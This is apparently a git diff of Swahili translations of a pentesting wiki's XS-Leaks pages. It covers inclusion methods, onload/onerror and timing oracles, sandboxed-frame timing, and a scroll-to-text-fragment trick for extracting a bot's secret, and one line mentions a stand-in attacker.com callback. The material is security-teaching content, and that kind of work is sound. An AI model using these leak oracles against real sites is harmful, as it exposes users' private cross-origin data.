fremu**, JavaScript inaweza kufikia kituo cha fremu kupitia mali ya contentWindow. -- **Pop-ups**: Mbinu ya **`window.open`** inafungua rasilimali katika tab au dirisha jipya, ikitoa **handle ya dirisha** kwa JavaScript kuingiliana na mbinu na mali zinazofuata SOP. Pop-ups, mara nyingi hutumiwa katika uthibitishaji wa moja, hupita vizuizi vya fremu na vidakuzi vya rasilimali lengwa. Hata hivyo, vivinjari vya kisasa vinakandamiza uundaji wa pop-up kwa vitendo fulani vya mtumiaji. -- **Maombi ya JavaScript**: JavaScript inaruhusu maombi ya moja kwa moja kwa rasilimali lengwa kwa kutumia **XMLHttpRequests** au **Fetch API**. Mbinu hizi zinatoa udhibiti sahihi juu ya ombi, kama vile kuchagua kufuata mwelekeo wa HTTP. +- **Vitu vya HTML**: HTML inatoa vitu mbalimbali kwa **kujumuisha rasilimali za cross-origin**, kama vile stylesheets, picha, au scripts, ikilazimisha kivinjari kuomba rasilimali isiyo ya HTML. Mkusanyiko wa vitu vya HTML vinavyoweza kutumika kwa kusudi hili unaweza kupatikana kwenye [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). +- **Frames**: Vitu kama **iframe**, **object**, na **embed** vinaweza kuingiza rasilimali za HTML moja kwa moja kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa **hauna ulinzi wa fremu**, JavaScript inaweza kufikia kitu cha fremu kupitia mali ya contentWindow. +- **Pop-ups**: Mbinu ya **`window.open`** inafungua rasilimali katika tab au dirisha jipya, ikitoa **handle ya dirisha** kwa JavaScript kuingiliana na mbinu na mali zinazofuata SOP. Pop-ups, mara nyingi hutumiwa katika uthibitisho wa moja, hupita vizuizi vya fremu na vidakuzi vya rasilimali inayolengwa. Hata hivyo, vivinjari vya kisasa vinakandamiza uundaji wa pop-up kwa vitendo fulani vya mtumiaji. +- **Maombi ya JavaScript**: JavaScript inaruhusu maombi ya moja kwa moja kwa rasilimali zinazolengwa kwa kutumia **XMLHttpRequests** au **Fetch API**. Mbinu hizi zinatoa udhibiti sahihi juu ya ombi, kama vile kuchagua kufuata mwelekeo wa HTTP. ### Leak Techniques -- **Event Handler**: Mbinu ya kawaida ya kuonyesha katika XS-Leaks, ambapo waendeshaji wa matukio kama **onload** na **onerror** hutoa taarifa kuhusu mafanikio au kushindwa kwa upakiaji wa rasilimali. -- **Ujumbe wa Makosa**: Makaratasi ya JavaScript au kurasa maalum za makosa zinaweza kutoa taarifa za kuonyesha moja kwa moja kutoka kwa ujumbe wa kosa au kwa kutofautisha kati ya uwepo wake na kutokuwepo. -- **Mipaka ya Ulimwengu**: Mipaka halisi ya kivinjari, kama vile uwezo wa kumbukumbu au mipaka mingine iliyowekwa na kivinjari, inaweza kuashiria wakati kigezo kinapofikiwa, ikitumikia kama mbinu ya kuonyesha. +- **Event Handler**: Mbinu ya kawaida ya kuacha katika XS-Leaks, ambapo waendeshaji wa matukio kama **onload** na **onerror** hutoa taarifa kuhusu mafanikio au kushindwa kwa upakiaji wa rasilimali. +- **Ujumbe wa Makosa**: Makaratasi ya JavaScript au kurasa maalum za makosa zinaweza kutoa taarifa za kuacha moja kwa moja kutoka ujumbe wa kosa au kwa kutofautisha kati ya uwepo wake na kutokuwepo. +- **Mipaka ya Ulimwengu**: Mipaka ya kimwili ya kivinjari, kama vile uwezo wa kumbukumbu au mipaka mingine iliyowekwa, inaweza kuashiria wakati kigezo kinapofikiwa, ikitumikia kama mbinu ya kuacha. - **Hali ya Ulimwengu**: Maingiliano yanayoweza kugundulika na **hali za ulimwengu** za vivinjari (mfano, kiolesura cha Historia) yanaweza kutumika. Kwa mfano, **idadi ya entries** katika historia ya kivinjari inaweza kutoa vidokezo kuhusu kurasa za cross-origin. - **Performance API**: API hii inatoa **maelezo ya utendaji wa ukurasa wa sasa**, ikiwa ni pamoja na muda wa mtandao kwa hati na rasilimali zilizopakiwa, ikiruhusu maelezo kuhusu rasilimali zilizohitajika. -- **Mali Zinazoweza Kusomwa**: Baadhi ya mali za HTML ni **zinazoweza kusomwa cross-origin** na zinaweza kutumika kama mbinu ya kuonyesha. Kwa mfano, mali ya `window.frame.length` inaruhusu JavaScript kuhesabu fremu zilizojumuishwa katika ukurasa wa wavuti cross-origin. +- **Mali Zinazoweza Kusomwa**: Baadhi ya mali za HTML ni **zinazosomwa cross-origin** na zinaweza kutumika kama mbinu ya kuacha. Kwa mfano, mali ya `window.frame.length` inaruhusu JavaScript kuhesabu fremu zilizojumuishwa katika ukurasa wa wavuti cross-origin. ## XSinator Tool & Paper @@ -49,24 +49,24 @@ XSinator ni zana ya kiotomatiki ya **kuangalia vivinjari dhidi ya XS-Leaks kadha Unaweza **kupata zana hiyo katika** [**https://xsinator.com/**](https://xsinator.com/) > [!WARNING] -> **XS-Leaks Zilizotengwa**: Ilibidi tutenge XS-Leaks zinazotegemea **wafanyakazi wa huduma** kwani zingeharibu kuonyesha nyingine katika XSinator. Zaidi ya hayo, tulichagua **kutenga XS-Leaks zinazotegemea usakinishaji mbaya na makosa katika programu maalum ya wavuti**. Kwa mfano, makosa ya usakinishaji wa CrossOrigin Resource Sharing (CORS), kuvuja kwa postMessage au Cross-Site Scripting. Aidha, tulitenga XS-Leaks za muda kwa sababu mara nyingi huwa na matatizo ya kuwa polepole, kelele na zisizo sahihi. +> **XS-Leaks Zilizotengwa**: Ilibidi tutenge XS-Leaks zinazotegemea **wafanyakazi wa huduma** kwani zingeharibu kuacha nyingine katika XSinator. Zaidi ya hayo, tulichagua **kutenga XS-Leaks zinazotegemea makosa ya usanidi na makosa katika programu maalum ya wavuti**. Kwa mfano, makosa ya usanidi ya CrossOrigin Resource Sharing (CORS), kuvuja kwa postMessage au Cross-Site Scripting. Zaidi ya hayo, tulitenga XS-Leaks za muda kwa sababu mara nyingi huwa na matatizo ya kuwa polepole, kelele na zisizo sahihi. ## **Mbinu za Muda** Baadhi ya mbinu zifuatazo zitatumia muda kama sehemu ya mchakato wa kugundua tofauti katika hali zinazowezekana za kurasa za wavuti. Kuna njia tofauti za kupima muda katika kivinjari cha wavuti. **Saa**: API ya [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) inaruhusu wabunifu kupata vipimo vya muda vya hali ya juu.\ -Kuna idadi kubwa ya APIs ambazo mshambuliaji anaweza kuzitumia kuunda saa zisizo za moja kwa moja: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animations za CSS, na nyingine.\ +Kuna idadi kubwa ya APIs ambazo mshambuliaji anaweza kuzitumia kuunda saa zisizo za moja kwa moja: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), michoro ya CSS, na zingine.\ Kwa maelezo zaidi: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/). ## Mbinu za Waendeshaji wa Matukio ### Onload/Onerror -- **Mbinu za Kujumuisha**: Frames, HTML Elements +- **Mbinu za Kujumuisha**: Frames, Vitu vya HTML - **Tofauti Zinazoweza Kugundulika**: Nambari ya Hali - **Maelezo zaidi**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/) -- **Muhtasari**: ikiwa unajaribu kupakia rasilimali, matukio ya onerror/onload yanachochewa na rasilimali inapopakuliwa kwa mafanikio/kushindwa, inawezekana kubaini nambari ya hali. +- **Muhtasari**: ikiwa unajaribu kupakia rasilimali, matukio ya onerror/onload yanachochewa wakati rasilimali imepakiwa kwa mafanikio/kushindwa, inawezekana kubaini nambari ya hali. - **Mfano wa Kode**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)]() {{#ref}} @@ -81,14 +81,14 @@ Pia kuna toleo lisilo na script la shambulio hili: ``` -Katika kesi hii ikiwa `example.com/404` haipatikani `attacker.com/?error` itapakuliwa. +In this case if `example.com/404` is not found `attacker.com/?error` will be loaded. ### Onload Timing - **Inclusion Methods**: HTML Elements -- **Detectable Difference**: Timing (kwa ujumla kutokana na Maudhui ya Ukurasa, Kiwango cha Hali) +- **Detectable Difference**: Timing (generally due to Page Content, Status Code) - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) -- **Summary:** The [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** inaweza kutumika kupima ni muda gani inachukua kufanya ombi. Hata hivyo, saa nyingine zinaweza kutumika, kama [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) ambayo inaweza kubaini kazi zinazofanyika kwa zaidi ya 50ms. +- **Summary:** The [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** inaweza kutumika kupima ni muda gani unachukua kufanya ombi. Hata hivyo, saa nyingine zinaweza kutumika, kama [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) ambayo inaweza kubaini kazi zinazofanyika kwa zaidi ya 50ms. - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) mfano mwingine katika: {{#ref}} @@ -97,7 +97,7 @@ xs-search/performance.now-example.md #### Onload Timing + Forced Heavy Task -Teknolojia hii ni kama ile ya awali, lakini **attacker** pia at **force** hatua fulani kuchukua **muda muhimu** wakati **jibu ni chanya au hasi** na kupima muda huo. +Teknolojia hii ni kama ile ya awali, lakini **mshambuliaji** pia atafanya **kulazimisha** hatua fulani kuchukua **muda muhimu** wakati **jibu ni chanya au hasi** na kupima muda huo. {{#ref}} xs-search/performance.now-+-force-heavy-task.md @@ -106,9 +106,9 @@ xs-search/performance.now-+-force-heavy-task.md ### unload/beforeunload Timing - **Inclusion Methods**: Frames -- **Detectable Difference**: Timing (kwa ujumla kutokana na Maudhui ya Ukurasa, Kiwango cha Hali) +- **Detectable Difference**: Timing (generally due to Page Content, Status Code) - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) -- **Summary:** The [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) inaweza kutumika kupima ni muda gani inachukua kufanya ombi. Saa nyingine zinaweza kutumika. +- **Summary:** The [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) inaweza kutumika kupima ni muda gani unachukua kufanya ombi. Saa nyingine zinaweza kutumika. - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) Muda unaochukuliwa kupata rasilimali unaweza kupimwa kwa kutumia matukio ya [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) na [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). Tukio la **`beforeunload`** linatokea wakati kivinjari kinakaribia kuhamia kwenye ukurasa mpya, wakati tukio la **`unload`** linatokea wakati mchakato wa kuhamia unafanyika. Tofauti ya muda kati ya matukio haya mawili inaweza kuhesabiwa ili kubaini **muda ambao kivinjari kilitumia kupata rasilimali**. @@ -116,12 +116,12 @@ Muda unaochukuliwa kupata rasilimali unaweza kupimwa kwa kutumia matukio ya [`un ### Sandboxed Frame Timing + onload - **Inclusion Methods**: Frames -- **Detectable Difference**: Timing (kwa ujumla kutokana na Maudhui ya Ukurasa, Kiwango cha Hali) +- **Detectable Difference**: Timing (generally due to Page Content, Status Code) - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) -- **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API inaweza kutumika kupima ni muda gani inachukua kufanya ombi. Saa nyingine zinaweza kutumika. +- **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API inaweza kutumika kupima ni muda gani unachukua kufanya ombi. Saa nyingine zinaweza kutumika. - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) -Imethibitishwa kuwa katika ukosefu wa [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), muda unaohitajika kwa ukurasa na rasilimali zake ndogo kupakuliwa kupitia mtandao unaweza kupimwa na mshambuliaji. Kipimo hiki kwa kawaida kinawezekana kwa sababu `onload` handler ya iframe inasababisha tu baada ya kukamilika kwa upakuaji wa rasilimali na utekelezaji wa JavaScript. Ili kupita tofauti iliyosababishwa na utekelezaji wa script, mshambuliaji anaweza kutumia sifa ya [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) ndani ya ` ``` Kwa hivyo, kile unachoweza kufanya ni **kuongeza herufi nyingi za junk** (Kwa mfano **maelfu ya "W"s**) ili **kujaza ukurasa wa wavuti kabla ya siri au kuongeza kitu kama** `

.`\ -Kisha ikiwa kwa mfano **injection yetu inaonekana kabla ya bendera**, **picha** itakuwa **imepakiwa**, lakini ikiwa inaonekana **baada** ya **bendera**, bendera + junk itazuia **kupakiwa** (utahitaji kucheza na kiasi gani cha junk kuweka). Hii ndiyo ilitokea katika [**hii andiko**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/). +Kisha ikiwa kwa mfano **kuingiza kwetu kunaonekana kabla ya bendera**, **picha** itakuwa **imepakiwa**, lakini ikiwa inaonekana **baada** ya **bendera**, bendera + junk itakuwa **zuia kupakiwa** (utahitaji kucheza na kiasi gani cha junk kuweka). Hii ndiyo ilitokea katika [**hiki andiko**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/). -Chaguo lingine lingekuwa kutumia **scroll-to-text-fragment** ikiwa inaruhusiwa: +Chaguo jingine lingekuwa kutumia **scroll-to-text-fragment** ikiwa inaruhusiwa: #### Scroll-to-text-fragment @@ -865,9 +865,9 @@ Hata hivyo, unafanya **bot kuingia kwenye ukurasa** na kitu kama ``` Hivyo ukurasa wa wavuti utakuwa kama: **`https://victim.com/post.html#:~:text=SECR`** -Ambapo post.html ina wahasiriwa wa wahasiriwa na picha ya kupakia polepole na kisha siri ya roboti inaongezwa. +Ambapo post.html ina wahasibu wa mshambuliaji na picha ya kupakia polepole na kisha siri ya bot inaongezwa. -Kile hiki kitatenda ni kumfanya roboti kufikia maandiko yoyote kwenye ukurasa ambayo yana maandiko `SECR`. Kwa kuwa maandiko hayo ni siri na yako tu **chini ya picha**, **picha itapakia tu ikiwa siri iliyokisiwa ni sahihi**. Hivyo unayo oracle yako ili **kuondoa siri hiyo taratibu**. +Kile maandiko haya yatakachofanya ni kumfanya bot kufikia maandiko yoyote kwenye ukurasa ambayo yana maandiko `SECR`. Kwa kuwa maandiko hayo ni siri na yako tu **chini ya picha**, **picha itapakia tu ikiwa siri iliyokisiwa ni sahihi**. Hivyo unayo oracle yako ili **kuondoa siri hiyo taratibu.** Mfano wa msimbo wa kutumia hili: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e) @@ -901,7 +901,7 @@ xs-search/css-injection/ ## Defenses -Kuna hatua za kujikinga zinazopendekezwa katika [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) pia katika kila sehemu ya wiki [https://xsleaks.dev/](https://xsleaks.dev/). Angalia huko kwa maelezo zaidi kuhusu jinsi ya kujilinda dhidi ya mbinu hizi. +Kuna mipango ya kupunguza hatari inayopendekezwa katika [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) pia katika kila sehemu ya wiki [https://xsleaks.dev/](https://xsleaks.dev/). Angalia huko kwa maelezo zaidi kuhusu jinsi ya kujilinda dhidi ya mbinu hizi. ## References diff --git a/src/pentesting-web/xs-search/README.md b/src/pentesting-web/xs-search/README.md index db6f8ae9c..4ae9375ce 100644 --- a/src/pentesting-web/xs-search/README.md +++ b/src/pentesting-web/xs-search/README.md @@ -21,42 +21,42 @@ Mambo kadhaa yanaweza kuchambuliwa ili kutofautisha hali za Mtandao wa Udhaifu: - **Nambari ya Hali**: Kutofautisha kati ya **nambari mbalimbali za majibu ya HTTP** cross-origin, kama vile makosa ya seva, makosa ya mteja, au makosa ya uthibitisho. - **Matumizi ya API**: Kutambua **matumizi ya Web APIs** kati ya kurasa, ikifunua ikiwa ukurasa wa cross-origin unatumia API maalum ya JavaScript. -- **Mwelekeo**: Kugundua mwelekeo kwenda kurasa tofauti, si tu mwelekeo ya HTTP bali pia zile zinazochochewa na JavaScript au HTML. +- **Mwelekeo**: Kugundua mwelekeo kwenda kurasa tofauti, si tu mwelekeo wa HTTP bali pia wale wanaosababishwa na JavaScript au HTML. - **Maudhui ya Ukurasa**: Kuangalia **mabadiliko katika mwili wa majibu ya HTTP** au katika rasilimali ndogo za ukurasa, kama vile **idadi ya fremu zilizojumuishwa** au tofauti za ukubwa katika picha. -- **Kichwa cha HTTP**: Kurekodi uwepo au labda thamani ya **kichwa maalum cha majibu ya HTTP**, ikiwa ni pamoja na vichwa kama X-Frame-Options, Content-Disposition, na Cross-Origin-Resource-Policy. +- **Header ya HTTP**: Kurekodi uwepo au labda thamani ya **header maalum ya majibu ya HTTP**, ikiwa ni pamoja na headers kama X-Frame-Options, Content-Disposition, na Cross-Origin-Resource-Policy. - **Muda**: Kutambua tofauti za muda zinazofanana kati ya hali hizo mbili. ### Inclusion Methods -- **Vitu vya HTML**: HTML inatoa vitu mbalimbali kwa ajili ya **kujumuisha rasilimali za cross-origin**, kama vile stylesheets, picha, au scripts, ikilazimisha kivinjari kuomba rasilimali isiyo ya HTML. Mkusanyiko wa vitu vya HTML vinavyoweza kutumika kwa kusudi hili unaweza kupatikana kwenye [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). +- **Vitu vya HTML**: HTML inatoa vitu mbalimbali kwa **kujumuisha rasilimali za cross-origin**, kama vile stylesheets, picha, au scripts, ikilazimisha kivinjari kuomba rasilimali isiyo ya HTML. Mkusanyiko wa vitu vya HTML vinavyoweza kutumika kwa kusudi hili unaweza kupatikana kwenye [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). - **Frames**: Vitu kama **iframe**, **object**, na **embed** vinaweza kuingiza rasilimali za HTML moja kwa moja kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa **hauna ulinzi wa fremu**, JavaScript inaweza kufikia kitu cha fremu kupitia mali ya contentWindow. -- **Pop-ups**: Mbinu ya **`window.open`** inafungua rasilimali katika tab au dirisha jipya, ikitoa **handle ya dirisha** kwa JavaScript kuingiliana na mbinu na mali zinazofuata SOP. Pop-ups, mara nyingi hutumiwa katika uthibitisho wa moja, hupita vizuizi vya fremu na vidakuzi vya rasilimali lengwa. Hata hivyo, vivinjari vya kisasa vinakandamiza uundaji wa pop-up kwa vitendo fulani vya mtumiaji. -- **Maombi ya JavaScript**: JavaScript inaruhusu maombi ya moja kwa moja kwa rasilimali lengwa kwa kutumia **XMLHttpRequests** au **Fetch API**. Mbinu hizi zinatoa udhibiti sahihi juu ya ombi, kama vile kuchagua kufuata mwelekeo ya HTTP. +- **Pop-ups**: Mbinu ya **`window.open`** inafungua rasilimali katika tab au dirisha jipya, ikitoa **handle ya dirisha** kwa JavaScript kuingiliana na mbinu na mali zinazofuata SOP. Pop-ups, mara nyingi hutumiwa katika uthibitisho wa moja kwa moja, hupita vizuizi vya fremu na vidakuzi vya rasilimali lengwa. Hata hivyo, vivinjari vya kisasa vinakandamiza uundaji wa pop-up kwa vitendo fulani vya mtumiaji. +- **Maombi ya JavaScript**: JavaScript inaruhusu maombi ya moja kwa moja kwa rasilimali lengwa kwa kutumia **XMLHttpRequests** au **Fetch API**. Mbinu hizi zinatoa udhibiti sahihi juu ya ombi, kama vile kuchagua kufuata mwelekeo wa HTTP. ### Leak Techniques - **Event Handler**: Mbinu ya kawaida ya leak katika XS-Leaks, ambapo waendeshaji wa matukio kama **onload** na **onerror** hutoa taarifa kuhusu mafanikio au kushindwa kwa upakiaji wa rasilimali. - **Ujumbe wa Makosa**: Makaratasi ya JavaScript au kurasa maalum za makosa zinaweza kutoa taarifa za leak moja kwa moja kutoka ujumbe wa kosa au kwa kutofautisha kati ya uwepo na ukosefu wake. -- **Mipaka ya Kijumla**: Mipaka halisi ya kivinjari, kama vile uwezo wa kumbukumbu au mipaka mingine iliyowekwa na kivinjari, inaweza kuashiria wakati kigezo kinapofikiwa, ikihudumu kama mbinu ya leak. +- **Mipaka ya Kijumla**: Mipaka ya kimwili ya kivinjari, kama vile uwezo wa kumbukumbu au mipaka mingine iliyowekwa, inaweza kuashiria wakati kigezo kinapofikiwa, ikitumikia kama mbinu ya leak. - **Hali ya Kijumla**: Maingiliano yanayoweza kugundulika na **hali za kijumla** za vivinjari (mfano, kiolesura cha Historia) yanaweza kutumika. Kwa mfano, **idadi ya entries** katika historia ya kivinjari inaweza kutoa vidokezo kuhusu kurasa za cross-origin. -- **Performance API**: API hii inatoa **maelezo ya utendaji wa ukurasa wa sasa**, ikiwa ni pamoja na wakati wa mtandao kwa hati na rasilimali zilizopakiwa, ikiruhusu kutoa maelezo kuhusu rasilimali zilizohitajika. +- **Performance API**: API hii inatoa **maelezo ya utendaji wa ukurasa wa sasa**, ikiwa ni pamoja na muda wa mtandao kwa hati na rasilimali zilizopakiwa, ikiruhusu maelezo kuhusu rasilimali zilizohitajika. - **Mali Zinazoweza Kusomwa**: Baadhi ya mali za HTML ni **zinazoweza kusomwa cross-origin** na zinaweza kutumika kama mbinu ya leak. Kwa mfano, mali ya `window.frame.length` inaruhusu JavaScript kuhesabu fremu zilizojumuishwa katika ukurasa wa wavuti cross-origin. ## XSinator Tool & Paper -XSinator ni chombo cha kiotomatiki cha **kuangalia vivinjari dhidi ya XS-Leaks kadhaa zinazojulikana** zilizoelezwa katika karatasi yake: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf) +XSinator ni zana ya kiotomatiki ya **kuangalia vivinjari dhidi ya XS-Leaks kadhaa zinazojulikana** zilizoelezwa katika karatasi yake: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf) -Unaweza **kupata chombo hicho katika** [**https://xsinator.com/**](https://xsinator.com/) +Unaweza **kupata zana hiyo katika** [**https://xsinator.com/**](https://xsinator.com/) > [!WARNING] -> **XS-Leaks Zilizotengwa**: Ilibidi tutenge XS-Leaks zinazotegemea **wafanyakazi wa huduma** kwani zingeharibu leaks nyingine katika XSinator. Zaidi ya hayo, tulichagua **kutenga XS-Leaks zinazotegemea usakinishaji mbaya na makosa katika programu maalum ya wavuti**. Kwa mfano, makosa ya usakinishaji wa CrossOrigin Resource Sharing (CORS), uvujaji wa postMessage au Cross-Site Scripting. Zaidi ya hayo, tulitenga XS-Leaks za muda kwa sababu mara nyingi huwa na matatizo ya kuwa polepole, kelele na zisizo sahihi. +> **XS-Leaks Zilizotengwa**: Ilibidi tutenge XS-Leaks zinazotegemea **wafanyakazi wa huduma** kwani zingeingiliana na leaks nyingine katika XSinator. Zaidi ya hayo, tulichagua **kutenga XS-Leaks zinazotegemea makosa ya usanidi na makosa katika programu maalum ya wavuti**. Kwa mfano, makosa ya usanidi ya CrossOrigin Resource Sharing (CORS), uvujaji wa postMessage au Cross-Site Scripting. Aidha, tulitenga XS-Leaks za muda kwa sababu mara nyingi huwa na matatizo ya kuwa polepole, kelele na zisizo sahihi. ## **Timing Based techniques** Baadhi ya mbinu zifuatazo zitatumia muda kama sehemu ya mchakato wa kugundua tofauti katika hali zinazowezekana za kurasa za wavuti. Kuna njia tofauti za kupima muda katika kivinjari cha wavuti. **Clocks**: API ya [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) inaruhusu waendelezaji kupata vipimo vya muda vya hali ya juu.\ -Kuna idadi kubwa ya APIs ambazo mshambuliaji anaweza kuzitumia kuunda saa zisizo za moja kwa moja: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animations za CSS, na nyingine.\ +Kuna idadi kubwa ya APIs ambazo mshambuliaji anaweza kuzitumia kuunda saa zisizo za moja kwa moja: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animations za CSS, na zingine.\ Kwa maelezo zaidi: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/). ## Event Handler Techniques @@ -66,14 +66,14 @@ Kwa maelezo zaidi: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](http - **Inclusion Methods**: Frames, HTML Elements - **Detectable Difference**: Status Code - **More info**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/) -- **Summary**: ikiwa unajaribu kupakia rasilimali kwenye matukio ya onerror/onload yanachochewa na rasilimali inapopakuliwa kwa mafanikio/kushindwa inawezekana kubaini nambari ya hali. +- **Summary**: ikiwa unajaribu kupakia rasilimali, matukio ya onerror/onload yanachochewa wakati rasilimali imepakiwa kwa mafanikio/kushindwa, inawezekana kubaini nambari ya hali. - **Code example**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)]() {{#ref}} cookie-bomb-+-onerror-xs-leak.md {{#endref}} -Mfano wa msimbo unajaribu **kupakia vitu vya scripts kutoka JS**, lakini **vitambulisho vingine** kama vile vitu, stylesheets, picha, sauti vinaweza pia kutumika. Zaidi ya hayo, inawezekana pia kuingiza **tag moja kwa moja** na kutangaza matukio ya `onload` na `onerror` ndani ya tag (badala ya kuingiza kutoka JS). +Mfano wa msimbo unajaribu **kupakia vitu vya scripts kutoka JS**, lakini **vitambulisho vingine** kama vile vitu, stylesheets, picha, sauti vinaweza pia kutumika. Aidha, inawezekana pia kuingiza **tag moja kwa moja** na kutangaza matukio ya `onload` na `onerror` ndani ya tag (badala ya kuingiza kutoka JS). Pia kuna toleo lisilo na script la shambulio hili: ```html @@ -111,7 +111,7 @@ performance.now-+-force-heavy-task.md - **Summary:** The [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) can be used to measure how much time it takes to perform a request. Other clocks could be used. - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) -Muda unaotumika kupata rasilimali unaweza kupimwa kwa kutumia [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) na [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) matukio. Tukio la **`beforeunload`** linatokea wakati kivinjari kinakaribia kuhamia kwenye ukurasa mpya, wakati tukio la **`unload`** linatokea wakati mchakato wa kuhamia unafanyika. Tofauti ya muda kati ya matukio haya mawili inaweza kuhesabiwa ili kubaini **muda ambao kivinjari kilitumia kupata rasilimali**. +Muda unaochukuliwa kupata rasilimali unaweza kupimwa kwa kutumia matukio ya [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) na [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). Tukio la **`beforeunload`** linatokea wakati kivinjari kinakaribia kuhamia kwenye ukurasa mpya, wakati tukio la **`unload`** linatokea wakati uhamaji unafanyika. Tofauti ya muda kati ya matukio haya mawili inaweza kuhesabiwa ili kubaini **muda ambao kivinjari kilitumia kupata rasilimali**. ### Sandboxed Frame Timing + onload @@ -121,7 +121,7 @@ Muda unaotumika kupata rasilimali unaweza kupimwa kwa kutumia [`unload`](https:/ - **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API can be used to measure how much time it takes to perform a request. Other clocks could be used. - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) 